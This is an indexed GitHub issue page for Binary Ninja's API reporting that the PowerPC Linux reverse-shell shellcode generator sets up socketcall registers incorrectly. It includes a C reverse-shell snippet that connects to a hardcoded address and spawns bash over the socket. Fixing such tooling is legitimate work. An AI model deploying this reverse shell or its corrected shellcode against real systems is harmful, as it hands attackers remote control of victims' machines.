Vector35 / Vector35/binaryninja-api
Powerpc socketcall is not setup properly
Nobody has claimed this yet.
- Dominant language
- C++
- Stars
- 1.3k
- Forks
- 298
- Avg merge
- 5d 5h
- Merged PRs (30d)
- 19
Description
Generating powerpc shellcode for a reverse shell on linux does not do socketcalls properly. r4 should point to the beginning of the arguments in memory (usually on the stack, libc puts them at r1+0x14). r0 should have 0x66 and r3 should have the socketcall number. In the following code snippet, both socket() and connect() are called improperly in the generated shellcode. Once those are fixed up properly, the rest of it runs fine.
void main()
{
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(31336);
addr.sin_addr.s_addr = 0x0b0b0b0b;
connect(s, (struct sockaddr*)&addr, sizeof(addr));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
bash();
}
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by locating the PowerPC Linux reverse-shell shellcode generation entry point and inspect how socket() and connect() arguments and registers are prepared. Compare the generated setup with the register requirements stated in the issue and the provided C example. Done means both calls use the correct socketcall number, argument pointer, and syscall number so the remaining shellcode runs successfully.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- cpp, linux
- Domain
- operating-systems, reverse-engineering
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 42/100